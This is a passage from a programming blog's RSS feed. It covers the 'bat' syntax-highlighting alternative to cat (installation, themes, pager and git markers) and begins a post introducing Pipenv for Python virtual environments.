class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;most basic GNU Linux commands&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wget https://github.com/sharkdp/bat/releases/download/v0.15.4/bat-musl_0.15.4_amd64.deb&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dpkg -i bat-musl_0.15.4_amd64.deb&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;what-is-bat-for&#34;&gt;What is bat for?&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;Bat&lt;/em&gt; will display the contents of a file, just like &lt;em&gt;cat&lt;/em&gt;, but with the syntax highlighted for most programming languages:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Cat&lt;/em&gt;, the default tool shows us the file that we indicate but in a single color.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cat index.js&#xA;import React from &amp;#34;react&amp;#34;&#xA;import ReactDOM from &amp;#34;react-dom&amp;#34;&#xA;import App from &amp;#34;./App&amp;#34;&#xA;&#xA;ReactDOM.render(&amp;lt;App/&amp;gt;, document.getElementById(&amp;#39;root&amp;#39;))&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If we now use &lt;em&gt;bat&lt;/em&gt; we will see the language syntax highlighted and the line numbers in the standard output:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bat index.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//File: index.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; React from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;react&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ReactDOM from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;react-dom&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; App from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;./App&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ReactDOM.render(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;App&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;document&lt;/span&gt;.getElementById(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;root&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can highlight tabs, spaces and line breaks using the &lt;em&gt;-A&lt;/em&gt; option.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;bat&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;-A&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;index&lt;/span&gt;.&lt;span style=&#34;color:#f3f99d&#34;&gt;css&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;/*index.css*/&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;body&lt;/span&gt;{&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;••&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;margin&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;;&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;••&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;background-color&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;whitesmoke&lt;/span&gt;;&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;••&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;font-family&lt;/span&gt;: Lolita;&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;••&lt;/span&gt;font-color: &lt;span style=&#34;color:#ff9f43&#34;&gt;#bbb&lt;/span&gt;;&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#f3f99d&#34;&gt;checkBoxes&lt;/span&gt;{&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;••&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;font-size&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt;&lt;span style=&#34;color:#9aedfe&#34;&gt;px&lt;/span&gt;;&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;••&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;padding&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;&lt;span style=&#34;color:#9aedfe&#34;&gt;px&lt;/span&gt;;&lt;span style=&#34;color:#ff5c57&#34;&gt;␊&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;bat-has-many-topics-available&#34;&gt;Bat has many topics available&lt;/h2&gt;&#xA;&lt;p&gt;Bat has themes for all tastes, hippies, sober, formal, psychedelic, etc. Use &lt;em&gt;&amp;ndash;list-themes&lt;/em&gt; to see them.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bat &lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt;list&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;themes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Theme&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; Monokai Extended&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// Output the square of a number.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;  fn print_square(num&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; f64) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; result &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; f64&lt;span style=&#34;color:#ff6ac1&#34;&gt;::&lt;/span&gt;powf(num, &lt;span style=&#34;color:#ff9f43&#34;&gt;2.0&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      println&lt;span style=&#34;color:#ff6ac1&#34;&gt;!&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;The square of {:.2} is {:.2}.&amp;#34;&lt;/span&gt;, num, result);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you like a particular theme you can temporarily use it to display a file using the &lt;em&gt;&amp;ndash;theme&lt;/em&gt; option.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bat --theme&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Monokai Extended&amp;#39;&lt;/span&gt; index.css&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To load it permanently you must add it to your &lt;em&gt;.bash_rc&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ~/.bashrc&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;BAT_THEME&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Monokai Extended&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;bat-comes-with-an-automatic-pager&#34;&gt;Bat comes with an automatic pager.&lt;/h2&gt;&#xA;&lt;p&gt;This means that if the file is enormous, it will not show the whole file, but it will show a part of it and we will be able to move through the content with the arrows on our keyboard. The default pager is &lt;em&gt;less&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# This file is autogenerated by pip-compile&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# To update, run:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#    pip-compile --output-file requirements.txt requirements.in&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;amqp&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;2.2.2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;asn1crypto&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;0.24.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;attrs&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;17.4.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;Babel&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;2.5.3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;BabelDjango&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;0.2.2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;bat-has-git-integration&#34;&gt;Bat has git integration&lt;/h2&gt;&#xA;&lt;p&gt;Bat integrates with &lt;em&gt;git&lt;/em&gt; and shows you the horrible buggy changes you have implemented in your code. It adds a + symbol for added lines and a ~ for modified lines.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% block content %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;header&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;navbar&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;role&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;navigation&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ~ &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;Parrafo modificado&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    + &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;Parrafo nuevo&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;header&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endblock %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What do you think, would you use it? I find it a very useful tool, especially for environments where you don&amp;rsquo;t have a graphical interface or if you are like me and don&amp;rsquo;t like to wait for the IDE to load.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;The other day I was looking for syntax highlighting tools and I came across a pretty interesting tool called &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/sharkdp/bat&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;bat&lt;/a&gt;&#xA; (Yes, like bat in English), it&amp;rsquo;s basically the linux &lt;em&gt;cat&lt;/em&gt; command, but with colors and other pretty interesting functions. And, as icing on the cake, &lt;strong&gt;it&amp;rsquo;s programmed in Rust.&lt;/strong&gt; In this post I explain in a short way how it works and what it can do for you.&lt;/p&gt;&#xA;&lt;h2 id=&#34;install-bat-from-repositories-on-linux&#34;&gt;Install bat from repositories on linux&lt;/h2&gt;&#xA;&lt;p&gt;You can install it directly from the repositories in newer versions of Debian or derivative systems (Ubuntu).&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Pipenv: The virtual environment manager you DON&#39;T know</title>
      <link>https://coffeebytes.dev/en/python/pipenv-the-virtual-environment-manager-you-dont-know/</link>
      <pubDate>Sat, 15 Aug 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/python/pipenv-the-virtual-environment-manager-you-dont-know/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Since I started using Python I use virtualenv and pip to manage virtual environments. But while reading &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-for-professionals-review/&#34;&gt;Django for Professionals&lt;/a&gt;&#xA; I found out that there was a better tool than pip and virtualenv, called Pipenv (they didn&amp;rsquo;t get too complicated with the name). Pipenv has features that make it much more robust and easier to use than virtualenv. In this step-by-step Pipenv tutorial, I will explain the installation, usage, file handling and basic commands of this tool.&lt;/p&gt;&#xA;&lt;p&gt;First, if you have already heard about virtual environments but don&amp;rsquo;t know what they are for I have a post where I talk about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/why-should-you-use-a-virtual-environment-in-python/&#34;&gt;virtual environments in Python&lt;/a&gt;&#xA;. On the other hand, if the name &lt;em&gt;virtualenv&lt;/em&gt; sounds a bit esoteric to you you might want to read about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/python-virtualenv-linux-basic-tutorial/&#34;&gt;virtualenv, the Python virtual environment manager&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;pipenv-vs-virtualenv&#34;&gt;Pipenv vs virtualenv&lt;/h2&gt;&#xA;&lt;p&gt;You probably already know that &lt;em&gt;pip&lt;/em&gt; is used to handle packages, but we usually want to have the packages of each of our applications isolated from the rest of the system, so we usually combine it with &lt;em&gt;virtualenv&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Pip&lt;/em&gt; and &lt;em&gt;virtualenv&lt;/em&gt; are used together to maintain the dependencies of a virtual environment, but pip can produce different environments, even with the same &lt;em&gt;requirements.txt&lt;/em&gt; file, this is something we want to avoid. The creator of &lt;em&gt;pipenv&lt;/em&gt; designed his tool trying to solve this problem.&lt;/p&gt;&#xA;&lt;p&gt;Pipenv is in charge of joining &lt;em&gt;pip&lt;/em&gt; and &lt;em&gt;virtualenv&lt;/em&gt; in &lt;strong&gt;one tool&lt;/strong&gt;, besides making sure that the file where the dependencies that are generated are listed produces &lt;strong&gt;exactly the same package configuration&lt;/strong&gt;, pipenv also allows to load environment variable files directly from &lt;em&gt;.env&lt;/em&gt; files that are in the working folder where we are.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        